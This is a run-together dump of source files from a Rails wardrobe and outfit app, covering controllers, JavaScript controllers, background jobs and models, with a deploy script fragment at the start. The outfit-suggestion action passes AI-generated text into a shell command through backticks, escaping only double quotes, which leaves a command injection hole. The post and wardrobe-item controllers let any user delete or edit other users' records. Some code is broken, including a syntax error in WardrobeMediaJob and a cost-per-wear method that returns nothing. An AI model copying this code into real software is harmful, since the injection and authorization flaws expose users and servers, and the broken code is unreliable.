doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:create db:migrate"
[[ -f ${APP_DIR}/db/seeds.rb ]] && doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:seed" || true
install_rcd "$APP_NAME" "$APP_DIR" "$APP_PORT" "$APP_NAME"
[[ -n $APP_DOMAIN ]] && relayd_add_relay "$APP_DOMAIN" "$APP_PORT"
doas rcctl restart "$APP_NAME" || doas rcctl start "$APP_NAME"
log_ok "$APP_NAME live on :$APP_PORT"# frozen_string_literal: true
module ApplicationCable
class Connection < ActionCable::Connection::Base
identified_by :current_user
def connect
set_current_user || reject_unauthorized_connection
end
private
def set_current_user
if session = Session.find_by(id: cookies.signed[:session_id])
self.current_user = session.user
end
end
end
end# frozen_string_literal: true
class AiController < ApplicationController
before_action :require_authentication
def analyze_item
item = Current.user.items.find(params[:id])
result = WardrobeAiService.new(Current.user).analyze_joy(item)
item.update!(spark_joy: result["sparks_joy"]) if result["sparks_joy"].in?([true, false])
respond_to do |format|
format.turbo_stream { render turbo_stream: turbo_stream.replace("item_#{item.id}_analysis", partial: "ai/analysis", locals: { result: result, item: item }) }
format.json { render json: result }
end
end
def tag_item
item = Current.user.items.find(params[:id])
result = WardrobeAiService.new(Current.user).enclothed_cognition_tag(item)
item.update!(mood_effect: result["mood_effect"], life_phase: result["life_phase"])
respond_to do |format|
format.turbo_stream { render turbo_stream: turbo_stream.replace("item_#{item.id}_tags", partial: "ai/item_tags", locals: { item: item.reload, result: result }) }
format.html { redirect_to item }
end
end
def suggest_outfits
@suggestions = WardrobeAiService.new(Current.user).suggest_outfits(
occasion: params[:occasion], season: params[:season]
)
# PH03: auto /photograph the combo (styled) using MASTER photograph command, attach postpro'd image to Outfit
# reuse DF02 suggest, DF06 postpro pattern (direct script), DF10 outfit create+items
master_root = Rails.root.join("..", "..", "MASTER").to_s
@suggestions.each do |s|
next unless s.is_a?(Hash)
combo = "professional fashion photography of outfit '#{s['name']}' with #{Array(s['items']).join(', ')}. #{s['description']}. model, kodak portra, cinematic"
begin
out = `cd #{master_root} && bundle exec ruby bin/cli "photograph #{combo.gsub('"', '\"')}" 2>&1`
if out =~ /postpro.*(output\/[^\s]+_postpro)/
pdir = File.join(master_root, $1)
imgf = Dir.glob(File.join(pdir, "*.{jpg,jpeg,png}")).first
if imgf && File.exist?(imgf)
outfit = Current.user.outfits.create!(name: s["name"], description: s["description"].to_s)
Array(s["items"]).each do |tit|
key = tit.to_s.split("(").first.strip.downcase
it = Current.user.items.where("lower(title) LIKE ?", "%#{key}%").first || Current.user.items.joy.active_wardrobe.first
outfit.outfit_items.create!(item: it) if it
end
outfit.image.attach(io: File.open(imgf), filename: "visual.jpg")
s["outfit_id"] = outfit.id
end
end
rescue StandardError => e
Rails.logger.warn("PH03 photograph for suggestion failed: #{e.message}")
end
end
end
def declutter_guide
@candidates = WardrobeAiService.new(Current.user).declutter_candidates
end
def capsule
@result = WardrobeAiService.new(Current.user).capsule_optimizer
end
def color_palette
@result = WardrobeAiService.new(Current.user).color_palette_analysis
end
def search
@query = params[:q].to_s.strip
if @query.present?
result = WardrobeAiService.new(Current.user).natural_language_search(@query)
ids = Array(result["item_ids"])
@items = Current.user.items.where(id: ids)
@explanation = result["explanation"]
else
@items = Current.user.items.none
end
end
def mood_board
@description = params[:description].to_s.strip
if @description.present?
result = WardrobeAiService.new(Current.user).mood_board_match(@description)
ids = Array(result["item_ids"])
@items = Current.user.items.where(id: ids)
@outfit_name = result["outfit_name"]
@reasoning = result["description"]
end
end
def occasion_map
@coverage = Item::OCCASIONS.each_with_object({}) do |occ, h|
h[occ] = Current.user.items.by_occasion(occ).to_a
end
end
def style_profile
if request.post? || params[:answers].present?
answers = params[:answers] || {}
result = WardrobeAiService.new(Current.user).infer_style_profile(answers)
profile = Current.user.style_profile || Current.user.build_style_profile
aesthetic = result["aesthetic"].presence || "minimal"
profile.update!(style_preferences: aesthetic, body_type: answers[:body_type])
redirect_to user_path(Current.user), notice: "Style profile set to #{aesthetic}"
end
end
def packing_list
if params[:duration].present?
@duration = params[:duration].to_i
@climate = params[:climate].to_s
@result = WardrobeAiService.new(Current.user).suggest_packing_list(@duration, @climate)
# auto create packing list demo
if @result["outfits"]
list = Current.user.packing_lists.create!(name: "#{@climate} #{ @duration }d trip", starts_on: Date.today, ends_on: Date.today + @duration)
# would link items if matched
end
end
end
def generate_outfit
suggestions = WardrobeAiService.new(Current.user).suggest_outfits(
occasion: params[:occasion], season: params[:season]
)
suggestion = Array(suggestions).first
return redirect_to(ai_suggest_outfits_path, alert: t("amber.outfits.no_vision", default: "No vision suggestion generated")) unless suggestion
outfit = create_outfit_from_vision_suggestion(suggestion)
redirect_to(outfit, notice: t("amber.outfits.vision_created", default: "Outfit created from MASTER vision"))
end
private
def create_outfit_from_vision_suggestion(suggestion)
name = suggestion["name"].presence || "Vision outfit"
outfit = Current.user.outfits.create!(
name: name,
description: suggestion["description"].to_s,
season: params[:season],
occasion: params[:occasion],
)
titles = Array(suggestion["items"])
titles.each_with_index do |title, index|
key = title.to_s.split("(").first.strip.downcase
item = Current.user.items.where("lower(title) LIKE ?", "%#{key}%").first
item ||= Current.user.items.joy.active_wardrobe.first
outfit.outfit_items.create!(item: item, position: index) if item
end
outfit
end
end# frozen_string_literal: true
class ApplicationController < ActionController::Base
include Authentication
include Pagy::Backend
allow_browser versions: :modern
end# frozen_string_literal: true
module Authentication
extend ActiveSupport::Concern
included do
before_action :require_authentication
helper_method :authenticated?
end
class_methods do
def allow_unauthenticated_access(**options)
skip_before_action :require_authentication, **options
end
end
private
def authenticated?
resume_session
end
def require_authentication
resume_session || request_authentication
end
def resume_session
Current.session ||= find_session_by_cookie
end
def find_session_by_cookie
Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]
end
def request_authentication
session[:return_to_after_authenticating] = request.url
redirect_to new_session_path
end
def after_authentication_url
session.delete(:return_to_after_authenticating) || root_url
end
def start_new_session_for(user)
user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|
Current.session = session
cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }
end
end
def terminate_session
Current.session.destroy
cookies.delete(:session_id)
end
end# frozen_string_literal: true
class DeclutterController < ApplicationController
before_action :require_authentication
before_action :set_item, only: %i[review update_review move challenge complete_challenge outcome last_chance]
def index
@summary = DeclutterDashboardService.new(Current.user).summary
@duplicates = DuplicateDetectorService.new(Current.user).ranked_groups
end
def review
@review = @item.declutter_review || @item.build_declutter_review(user: Current.user)
@score = @item.declutter_score
@action = DeclutterActionRouter.new(@item).action
@last_chance = LastChanceOutfitService.new(@item).suggestions
end
def update_review
review = @item.declutter_review || @item.build_declutter_review(user: Current.user)
review.update!(review_params)
redirect_to review_declutter_path(@item), notice: "Declutter review saved"
end
def move
action = params[:target].presence || DeclutterActionRouter.new(@item).action[:recommendation]
state = lifecycle_state_for(action)
@item.update!(lifecycle_state: state)
redirect_to declutter_index_path, notice: "#{@item.title} moved to #{state.humanize.downcase}"
end
def challenge
challenge = @item.declutter_challenges.create!(
user: Current.user,
due_on: params[:due_on].presence || 7.days.from_now.to_date,
note: params[:note].presence || "Wear once before deciding."
)
redirect_to review_declutter_path(@item), notice: "Wear-it-this-week challenge created for #{challenge.due_on}"
end
def complete_challenge
challenge = @item.declutter_challenges.active.order(:due_on).first || @item.declutter_challenges.order(created_at: :desc).first
challenge&.complete!
redirect_to @item, notice: "Challenge completed — item marked worn"
end
def outcome
@item.create_declutter_outcome!(outcome_params.merge(user: Current.user))
redirect_to declutter_index_path, notice: "Declutter outcome recorded"
end
def last_chance
render json: LastChanceOutfitService.new(@item).suggestions
end
private
def set_item
@item = Current.user.items.find(params[:id])
end
def review_params
params.require(:declutter_review).permit(:reason_kept, :decision, :notes)
end
def outcome_params
params.require(:declutter_outcome).permit(:action, :amount_recovered, :notes)
end
def lifecycle_state_for(action)
case action
when "keep" then "active"
when "wear_this_week" then "active"
when "replace_gradually" then "active"
when "repair" then "repair"
when "sell" then "resale"
when "donate" then "donate"
when "sentimental_archive" then "sentimental_archive"
when "release" then "released"
else "declutter_box"
end
end
end# frozen_string_literal: true
class FollowsController < ApplicationController
def create
user = User.find(params[:user_id])
Current.user.follows_as_follower.find_or_create_by!(followee: user) unless Current.user == user
redirect_back fallback_location: user_path(user)
end
def destroy
user = User.find(params[:user_id])
Current.user.follows_as_follower.find_by(followee: user)&.destroy!
redirect_back fallback_location: user_path(user)
end
end# frozen_string_literal: true
class HomeController < ApplicationController
def index
return unless authenticated?
items = Current.user.items
@items_count = items.count
@joy_count = items.joy.count
@never_worn_count = items.never_worn.count
@worn_this_month = items.where("updated_at > ?", 30.days.ago).where("times_worn > 0").count
@utilization_rate = @items_count > 0 ? (@worn_this_month * 100.0 / @items_count).round : 0
@worst_cpw = items.where("price > 0 AND times_worn > 0")
.select { |i| i.cost_per_wear }
.sort_by { |i| -i.cost_per_wear }
.first(3)
@aging_unworn = items.aging_unworn.limit(4)
@recent_items = items.recent.limit(6)
@planned_this_week = Current.user.planned_outfits.this_week.includes(:outfit)
@weather = WeatherService.today
end
end# frozen_string_literal: true
class ItemsController < ApplicationController
before_action :require_authentication
before_action :set_item, only: %i[show edit update destroy spark_joy declutter wear]
before_action :authorize!, only: %i[edit update destroy spark_joy declutter wear]
def index
@pagy, @items = pagy(Current.user.items.recent)
end
def show; end
def new
@item = Current.user.items.build
end
def create
@item = Current.user.items.build(item_params)
if @item.save
WardrobeMediaJob.perform_later(@item.id) if @item.photos.attached?
redirect_to(@item, notice: "Item added")
else
render(:new, status: :unprocessable_entity)
end
end
def edit; end
def update
if @item.update(item_params)
WardrobeMediaJob.perform_later(@item.id) if @item.photos.attached?
redirect_to(@item, notice: "Updated")
else
render(:edit, status: :unprocessable_entity)
end
end
def destroy
@item.destroy
redirect_to items_path, notice: "Removed from wardrobe"
end
def spark_joy
@item.update!(spark_joy: true)
redirect_to items_path, notice: "This item sparks joy!"
end
def declutter
@item.update!(spark_joy: false)
redirect_to items_path, notice: "Marked for declutter"
end
def wear
@item.wear!
redirect_to @item, notice: "Worn today — +1"
end
def archive_seasonal
Current.user.items.active_wardrobe.find_each(&:archive_out_of_season!)
redirect_to items_path, notice: "Out-of-season items moved to archive"
end
def resurface_seasonal
Current.user.items.seasonal_archived.find_each(&:resurface_seasonal!)
redirect_to items_path, notice: "Seasonal items resurfaced if in season"
end
def shopping_list
service = WardrobeGapService.new(Current.user)
service.create_recommendations!
@gaps = service.gaps
@recommendations = Current.user.recommendations.where(kind: "purchase_gap").recent
end
private
def set_item = @item = Item.find(params[:id])
def authorize!
redirect_to(items_path, alert: "Unauthorized") unless @item.user == Current.user
end
def item_params
params.require(:item).permit(
:title, :category, :color, :size, :material,
:brand, :price, :times_worn, :purchase_date,
:mood_effect, :life_phase, :occasion_tags, :season,
photos: []
)
end
end# frozen_string_literal: true
class OutfitsController < ApplicationController
before_action :require_authentication
before_action :set_outfit, only: %i[show edit update destroy like reorder share wear]
before_action :authorize!, only: %i[edit update destroy share wear]
def index
@pagy, @outfits = pagy(Current.user.outfits.order(created_at: :desc))
end
def dressing_room
base = Current.user.items.active_wardrobe.with_attached_photos
@zones = {
head: base.where(category: "Accessories"),
top: base.where(category: %w[Tops Outerwear]),
bottom: base.where(category: %w[Bottoms Dresses]),
shoes: base.where(category: "Shoes"),
}
end
def show; end
def new
@outfit = Current.user.outfits.build
end
def create
@outfit = Current.user.outfits.build(outfit_params)
@outfit.save ? redirect_to(@outfit, notice: "Outfit created") : render(:new, status: :unprocessable_entity)
end
def edit; end
def update
@outfit.update(outfit_params) ? redirect_to(@outfit, notice: "Updated") : render(:edit, status: :unprocessable_entity)
end
def destroy
@outfit.destroy
redirect_to outfits_path, notice: "Outfit deleted"
end
def like
@outfit.like!
redirect_to @outfit
end
def share
body = "Outfit: #{@outfit.name}\n\nItems:\n#{@outfit.items.map { |i| "- #{i.title}" }.join("\n")}"
post = Current.user.posts.build(body: body, outfit_id: @outfit.id)
if post.save
redirect_to post, notice: "Outfit shared to brgen!"
else
redirect_to @outfit, alert: "Could not share: #{post.errors.full_messages.to_sentence}"
end
end
def wear
@outfit.touch
redirect_to @outfit, notice: "Marked as worn again!"
end
def reorder
positions = params.require(:positions)
positions.each_with_index do |item_id, index|
@outfit.outfit_items.where(item_id:).update_all(position: index)
end
head :ok
end
private
def set_outfit = @outfit = Outfit.find(params[:id])
def authorize!
redirect_to(outfits_path, alert: "Unauthorized") unless @outfit.user == Current.user
end
def outfit_params
params.require(:outfit).permit(:name, :description, :category, :season, :occasion)
end
end# frozen_string_literal: true
class PasswordsController < ApplicationController
allow_unauthenticated_access
before_action :set_user_by_token, only: %i[ edit update ]
rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }
def new
end
def create
if user = User.find_by(email_address: params[:email_address])
PasswordsMailer.reset(user).deliver_later
end
redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
end
def edit
end
def update
if @user.update(params.permit(:password, :password_confirmation))
@user.sessions.destroy_all
redirect_to new_session_path, notice: "Password has been reset."
else
redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
end
end
private
def set_user_by_token
@user = User.find_by_password_reset_token!(params[:token])
rescue ActiveSupport::MessageVerifier::InvalidSignature
redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
end
end# frozen_string_literal: true
class PlannedOutfitsController < ApplicationController
before_action :require_authentication
def index
@planned = Current.user.planned_outfits.upcoming.includes(:outfit)
@outfits = Current.user.outfits.order(:name)
end
def create
@plan = Current.user.planned_outfits.build(plan_params)
@plan.save ? redirect_to(planned_outfits_path, notice: "Planned") : redirect_to(planned_outfits_path, alert: @plan.errors.full_messages.first)
end
def destroy
Current.user.planned_outfits.find(params[:id]).destroy!
redirect_to planned_outfits_path
end
private
def plan_params = params.require(:planned_outfit).permit(:outfit_id, :planned_date, :notes)
end# frozen_string_literal: true
class PostsController < ApplicationController
before_action :set_post, only: %i[show destroy like]
def index
@pagy, @posts = pagy(Post.recent.includes(:user, :outfit, :item))
end
def feed
@pagy, @posts = pagy(Current.user.feed_posts.includes(:user, :outfit, :item))
end
def show; end
def new
@post = Post.new
end
def create
@post = Current.user.posts.build(post_params)
@post.save ? redirect_to(posts_path, notice: "Posted") : render(:new, status: :unprocessable_entity)
end
def destroy
@post.destroy!
redirect_to posts_path
end
def like
@post.like!
redirect_back fallback_location: posts_path
end
private
def set_post = @post = Post.find(params[:id])
def post_params = params.require(:post).permit(:body, :outfit_id, :item_id)
end# frozen_string_literal: true
class RegistrationsController < ApplicationController
allow_unauthenticated_access only: %i[new create]
def new = render
def create
user = User.new(registration_params)
if user.save
start_new_session_for user
redirect_to root_path, notice: "Welcome to Amber!"
else
render :new, status: :unprocessable_entity
end
end
private
def registration_params
params.require(:user).permit(:email_address, :password, :password_confirmation)
end
end# frozen_string_literal: true
class SessionsController < ApplicationController
allow_unauthenticated_access only: %i[ new create ]
rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }
def new
end
def create
if user = User.authenticate_by(params.permit(:email_address, :password))
start_new_session_for user
redirect_to after_authentication_url
else
redirect_to new_session_path, alert: "Try another email address or password."
end
end
def destroy
terminate_session
redirect_to new_session_path, status: :see_other
end
end# frozen_string_literal: true
class UsersController < ApplicationController
def show
@user = User.find(params[:id])
@items = @user.items.recent.limit(12)
@outfits = @user.outfits.order(created_at: :desc).limit(6)
@posts = @user.posts.recent.limit(10)
end
end# frozen_string_literal: true
class WardrobeItemsController < ApplicationController
before_action :set_wardrobe_item, only: %i[show edit update destroy]
def index
@wardrobe_items = WardrobeItem.includes(:item).recent.limit(100)
end
def show
end
def new
@wardrobe_item = WardrobeItem.new
end
def create
@wardrobe_item = WardrobeItem.new(wardrobe_item_params)
@wardrobe_item.user = current_user if respond_to?(:current_user, true)
if @wardrobe_item.save
redirect_to wardrobe_items_path, notice: t("amber.wardrobe_item_created", default: "Item added")
else
render :new, status: :unprocessable_entity
end
end
def edit
end
def update
if @wardrobe_item.update(wardrobe_item_params)
redirect_to wardrobe_items_path, notice: t("amber.wardrobe_item_updated", default: "Item updated")
else
render :edit, status: :unprocessable_entity
end
end
def destroy
@wardrobe_item.destroy
redirect_to wardrobe_items_path, notice: t("amber.wardrobe_item_deleted", default: "Item removed")
end
private
def set_wardrobe_item
@wardrobe_item = WardrobeItem.find(params[:id])
end
def wardrobe_item_params
params.require(:wardrobe_item).permit(:item_id, :acquisition_date, :condition, :notes)
end
end# frozen_string_literal: true
module ApplicationHelper
include Pagy::Frontend
end// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails
import "@hotwired/turbo-rails"
import "controllers"
import { application } from "controllers/application"
import { eagerLoadControllersFrom } from "@hotwired/stimulus-loading"
eagerLoadControllersFrom("controllers", application)
if ("serviceWorker" in navigator) navigator.serviceWorker.register("/service-worker")
// Nav swipe-to-reveal
document.addEventListener("turbo:load", () => {
const nav = document.querySelector("nav");
if (!nav) return;
let y0 = 0;
document.addEventListener("touchstart", e => { y0 = e.touches[0].clientY; }, { passive: true });
document.addEventListener("touchend", e => {
const dy = e.changedTouches[0].clientY - y0;
if (dy > 40) nav.classList.add("nav-visible");
else if (dy < -40) nav.classList.remove("nav-visible");
}, { passive: true });
});import AnimatedNumber from "@stimulus-components/animated-number"
export default class extends AnimatedNumber {}import { Application } from "@hotwired/stimulus"
const application = Application.start()
application.debug = false
window.Stimulus = application
export { application }import { Controller } from "@hotwired/stimulus"
import StimulusReflex from "stimulus_reflex"
export default class extends Controller {
connect() {
StimulusReflex.register(this)
}
}import AutoSubmit from "@stimulus-components/auto-submit"
export default class extends AutoSubmit {}import CharacterCounter from "@stimulus-components/character-counter"
export default class extends CharacterCounter {}import Clipboard from "@stimulus-components/clipboard"
export default class extends Clipboard {}import Dialog from "@stimulus-components/dialog"
export default class extends Dialog {}import Dropdown from "@stimulus-components/dropdown"
export default class extends Dropdown {}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
static targets = ["select", "grid"]
filter() {
const val = this.selectTarget.value
this.gridTarget.querySelectorAll("[data-category]").forEach(c => {
c.hidden = val && c.dataset.category !== val
})
}
}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
connect() {
this.element.textContent = "Hello World!"
}
}import { application } from "./application"
import { eagerLoadControllersFrom } from "@hotwired/stimulus-loading"
import StimulusReflex from "stimulus_reflex"
import ApplicationController from "controllers/application_controller"
eagerLoadControllersFrom("controllers", application)
StimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })import Notification from "@stimulus-components/notification"
export default class extends Notification {}import Sortable from "@stimulus-components/sortable"
export default class extends Sortable {}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
connect() {
this.resize()
this.element.addEventListener("input", this.resize)
}
disconnect() {
this.element.removeEventListener("input", this.resize)
}
resize = () => {
this.element.style.height = "auto"
this.element.style.height = `${this.element.scrollHeight}px`
}
}import TimeAgo from "@stimulus-components/timeago"
export default class extends TimeAgo {}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
static values = { zones: Object }
connect() {
this.idx = { head: 0, top: 0, bottom: 0, shoes: 0 }
Object.keys(this.idx).forEach(z => this.render(z))
}
prev({ params: { zone } }) { this.step(zone, -1) }
next({ params: { zone } }) { this.step(zone, 1) }
step(zone, dir) {
const items = this.zonesValue[zone] || []
if (!items.length) return
this.idx[zone] = (this.idx[zone] + dir + items.length) % items.length
this.render(zone)
}
render(zone) {
const items = this.zonesValue[zone] || []
const item = items[this.idx[zone]]
const overlay = this.element.querySelector(`.zone--${zone} img`)
const nameEl = this.element.querySelector(`[data-zone-label="${zone}"]`)
const countEl = this.element.querySelector(`[data-zone-count="${zone}"]`)
if (overlay) {
if (item?.url) {
overlay.src = item.url
overlay.alt = item.name
overlay.style.opacity = "1"
} else {
overlay.src = ""
overlay.style.opacity = "0"
}
}
if (nameEl) nameEl.textContent = item?.name ?? "—"
if (countEl && items.length) countEl.textContent = `${this.idx[zone] + 1} / ${items.length}`
else if (countEl) countEl.textContent = "none"
}
}# frozen_string_literal: true
class CalculateSustainabilityJob < ApplicationJob
queue_as :default
def perform(item_id)
item = Item.find(item_id)
metric = item.sustainability_metric || item.build_sustainability_metric
metric.assign_attributes(
resale_value: estimated_resale_value(item),
repair_cost_estimate: estimated_repair_cost(item),
environmental_score: environmental_score(item)
)
metric.save!
end
private
def estimated_resale_value(item)
return nil unless item.price.present?
wear_discount = [item.times_worn.to_i * 0.015, 0.75].min
(item.price * (0.65 - wear_discount)).clamp(0, item.price).round(2)
end
def estimated_repair_cost(item)
return nil unless item.price.present?
(item.price * 0.12).round(2)
end
def environmental_score(item)
worn = item.times_worn.to_i
base = worn.positive? ? [worn * 4, 100].min : 5
item.spark_joy? ? [base + 10, 100].min : base
end
end# frozen_string_literal: true
class EmbedGarmentJob < ApplicationJob
queue_as :default
def perform(item_id)
item = Item.find(item_id)
vector = WardrobeAiService.new(item.user).embedding_for(item)
return if vector.blank?
item.create_garment_embedding! unless item.garment_embedding
item.garment_embedding.update!(
provider: "openrouter",
model: WardrobeAiService::MODEL,
dimensions: vector.length,
vector: vector,
metadata: { text: item.embedding_text, embedded_at: Time.current.iso8601 }
)
end
end# frozen_string_literal: true
class RecommendOutfitsJob < ApplicationJob
queue_as :default
def perform(user_id, occasion: nil, season: nil)
user = User.find(user_id)
suggestions = WardrobeAiService.new(user).suggest_outfits(occasion:, season:)
Array(suggestions).each do |suggestion|
user.recommendations.create!(
kind: "outfit",
reason: suggestion["description"].presence || suggestion["reason"].presence || "AI outfit suggestion",
metadata: suggestion
)
end
end
end# frozen_string_literal: true
class RemoveBackgroundJob < ApplicationJob
queue_as :default
def perform(item_id)
item = Item.find(item_id)
Rails.logger.info("Amber background-removal placeholder for item=#{item.id}")
item.update!(analysis_status: "background_removal_pending") if item.respond_to?(:analysis_status)
end
end# frozen_string_literal: true
class SegmentGarmentImageJob < ApplicationJob
queue_as :default
def perform(item_id)
item = Item.find(item_id)
Rails.logger.info("Amber segmentation placeholder for item=#{item.id}")
item.update!(analysis_status: "segmentation_pending") if item.respond_to?(:analysis_status)
end
end# frozen_string_literal: true
require "tempfile"
require "rbconfig"
class WardrobeMediaJob < ApplicationJob
queue_as :media
VARIANTS = {.freeze
thumb: { resize_to_limit: [240, 240] },
card: { resize_to_limit: [720, 960] },
}.freeze
def perform(item_id)
item = Item.find(item_id)
if defined?(Shared::MediaProcessingJob)
Shared::MediaProcessingJob.perform_later("Item", item.id, "photos", variants: VARIANTS)
end
Shared::EventEmitter.call("amber.photo.queued", item_id: item.id) if defined?(Shared::EventEmitter)
item.extract_dominant_color! if item.photos.attached?
# auto postpro film stock on item image upload (DF06)
if item.photos.attached?
photo = item.photos.first
begin
script = Rails.root.join("../../postpro/postpro.rb").to_s
if File.exist?(script)
tmp_in = Tempfile.new(["in", File.extname(photo.filename.to_s.presence || ".jpg")])
tmp_in.binmode
tmp_in.write(photo.download)
tmp_in.rewind
tmp_out = Tempfile.new(["out", ".jpg"])
system(RbConfig.ruby, script, "--input", tmp_in.path, "--output", tmp_out.path, "--stock", "kodak_portra", "--preset", "social")
if File.exist?(tmp_out.path)
Rails.logger.info("postpro film stock applied automatically to item #{item.id}")
# could re-attach processed version here
end
tmp_in.close!
tmp_out.close!
end
rescue StandardError => e
Rails.logger.warn("auto postpro failed for item #{item.id}: #{e.message}")
end
end
end
end# frozen_string_literal: true
class PasswordsMailer < ApplicationMailer
def reset(user)
@user = user
mail subject: "Reset your password", to: user.email_address
end
end# frozen_string_literal: true
class AffiliateLink < ApplicationRecord
belongs_to :item
validates :url, :merchant, presence: true
validates :url, length: { maximum: 2_000 }
validates :commission_rate, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true
end# frozen_string_literal: true
class ConsentEvent < ApplicationRecord
belongs_to :user
validates :purpose, :decision, presence: true
enum :decision, { granted: "granted", revoked: "revoked" }
end# frozen_string_literal: true
class CreatorProfile < ApplicationRecord
belongs_to :user
has_many :creator_wardrobe_items, dependent: :destroy
has_many :items, through: :creator_wardrobe_items
validates :handle, presence: true, uniqueness: true, format: { with: /\A[a-zA-Z0-9_\.\-]+\z/ }
validates :display_name, presence: true, length: { maximum: 80 }
validates :bio, length: { maximum: 1_000 }
normalizes :handle, with: ->(value) { value.to_s.strip.downcase }
scope :publicly_visible, -> { where(public: true) }
end# frozen_string_literal: true
class CreatorWardrobeItem < ApplicationRecord
belongs_to :creator_profile
belongs_to :item
validates :item_id, uniqueness: { scope: :creator_profile_id }
validates :caption, length: { maximum: 300 }
end# frozen_string_literal: true
class Current < ActiveSupport::CurrentAttributes
attribute :session
delegate :user, to: :session, allow_nil: true
end# frozen_string_literal: true
class DeclutterChallenge < ApplicationRecord
belongs_to :user
belongs_to :item
belongs_to :outfit, optional: true
STATUSES = %w[pending completed skipped expired].freeze
validates :status, inclusion: { in: STATUSES }
validates :due_on, presence: true
before_validation :assign_defaults
scope :active, -> { where(status: "pending").where("due_on >= ?", Date.current) }
scope :overdue, -> { where(status: "pending").where("due_on < ?", Date.current) }
def complete!
transaction do
update!(status: "completed", completed_at: Time.current)
item.wear!(outfit:, context: "declutter_challenge")
end
end
def expire!
update!(status: "expired") if pending? && due_on < Date.current
end
def pending? = status == "pending"
private
def assign_defaults
self.user ||= item&.user
self.status ||= "pending"
self.due_on ||= 7.days.from_now.to_date
end
end# frozen_string_literal: true
class DeclutterOutcome < ApplicationRecord
belongs_to :user
belongs_to :item
ACTIONS = %w[sold donated gifted recycled repaired archived released].freeze
validates :action, inclusion: { in: ACTIONS }
validates :notes, length: { maximum: 1_000 }
validates :amount_recovered, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true
before_validation :assign_user
after_create :sync_item_lifecycle
private
def assign_user
self.user ||= item&.user
end
def sync_item_lifecycle
state = case action
when "sold" then "sold"
when "donated" then "donated"
when "gifted", "released" then "released"
when "recycled" then "recycled"
when "repaired" then "active"
when "archived" then "sentimental_archive"
else item.lifecycle_state
end
item.update!(lifecycle_state: state)
end
end# frozen_string_literal: true
class DeclutterReview < ApplicationRecord
belongs_to :user
belongs_to :item
REASONS = %w[wear love need guilt expensive gift memory goal_weight past_self aspirational rare status uncomfortable duplicate].freeze
DECISIONS = %w[keep wear_this_week repair sell donate recycle sentimental_archive declutter_box release].freeze
validates :reason_kept, inclusion: { in: REASONS }, allow_blank: true
validates :decision, inclusion: { in: DECISIONS }, allow_blank: true
validates :notes, length: { maximum: 1_000 }
before_validation :assign_user
def guilt_based? = %w[guilt expensive gift goal_weight status].include?(reason_kept)
private
def assign_user
self.user ||= item&.user
end
end# frozen_string_literal: true
class Follow < ApplicationRecord
belongs_to :follower, class_name: "User", touch: true
belongs_to :followee, class_name: "User", touch: true
validates :follower_id, uniqueness: { scope: :followee_id }
validate :no_self_follow
private
def no_self_follow
errors.add(:followee, "can't follow yourself") if follower_id == followee_id
end
end# frozen_string_literal: true
class GarmentEmbedding < ApplicationRecord
belongs_to :item
validates :provider, :model, presence: true
validates :dimensions, numericality: { only_integer: true, greater_than: 0 }, allow_nil: true
serialize :vector, coder: JSON
serialize :metadata, coder: JSON
end# frozen_string_literal: true
class IdentityVerification < ApplicationRecord
belongs_to :user
enum :status, { pending: "pending", approved: "approved", rejected: "rejected" }, default: :pending
enum :kind, { creator: "creator", merchant: "merchant", stylist: "stylist", human: "human" }, default: :human
validates :kind, :status, presence: true
end# frozen_string_literal: true
require "tempfile"
class Item < ApplicationRecord
belongs_to :user
has_one :garment_embedding, dependent: :destroy
has_one :sustainability_metric, dependent: :destroy
has_one :declutter_review, dependent: :destroy
has_one :declutter_outcome, dependent: :destroy
has_many :outfit_items, dependent: :destroy
has_many :outfits, through: :outfit_items
has_many :wear_logs, dependent: :destroy
has_many :affiliate_links, dependent: :destroy
has_many :declutter_challenges, dependent: :destroy
has_many_attached :photos
validates :title, :category, presence: true
validates :times_worn, numericality: { only_integer: true, greater_than_or_equal_to: 0 }, allow_nil: true
validates :price, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true
broadcasts_refreshes
scope :joy, -> { where(spark_joy: true) }
scope :by_category, ->(c) { where(category: c) }
scope :by_mood, ->(m) { where(mood_effect: m) }
scope :by_occasion, ->(o) { where("occasion_tags LIKE ?", "%#{sanitize_sql_like(o.to_s)}%") }
scope :current_self, -> { where(life_phase: "current") }
scope :recent, -> { order(created_at: :desc) }
scope :worn_most, -> { order(times_worn: :desc) }
scope :never_worn, -> { where("times_worn = 0 OR times_worn IS NULL") }
scope :aging_unworn, -> { never_worn.where("purchase_date < ?", 6.months.ago) }
scope :embeddable, -> { where.not(title: [nil, ""]).where.not(category: [nil, ""]) }
scope :active_wardrobe, -> { where.not(lifecycle_state: %w[released donated sold recycled]) }
scope :declutter_box, -> { where(lifecycle_state: "declutter_box") }
scope :sentimental, -> { where(lifecycle_state: "sentimental_archive") }
scope :seasonal_archived, -> { where(lifecycle_state: "seasonal_archive") }
CATEGORIES = %w[Tops Bottoms Dresses Shoes Accessories Outerwear].freeze
SEASONS = %w[Spring Summer Autumn Winter All-Season].freeze
MOOD_EFFECTS = %w[energising calming confident playful neutral].freeze
LIFE_PHASES = %w[current past-self aspirational].freeze
OCCASIONS = %w[work casual formal gym date travel].freeze
LIFECYCLE_STATES = %w[active repair clean_needed tailor declutter_box sentimental_archive seasonal_archive resale donate sold donated recycled released].freeze
def cost_per_wear
return nil unless price.present? && times_worn.to_i > 0
end
def value_label
cost_per_wear ? "#{cost_per_wear} per wear" : "not worn yet"
end
def underused?
times_worn.to_i < 3
